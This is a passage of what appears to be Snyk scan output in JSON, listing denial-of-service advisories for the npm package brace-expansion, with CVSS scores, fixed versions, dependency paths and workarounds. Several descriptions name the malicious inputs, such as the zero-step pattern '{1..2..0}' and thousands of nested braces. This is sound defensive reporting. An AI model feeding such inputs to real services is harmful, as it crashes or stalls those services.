"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
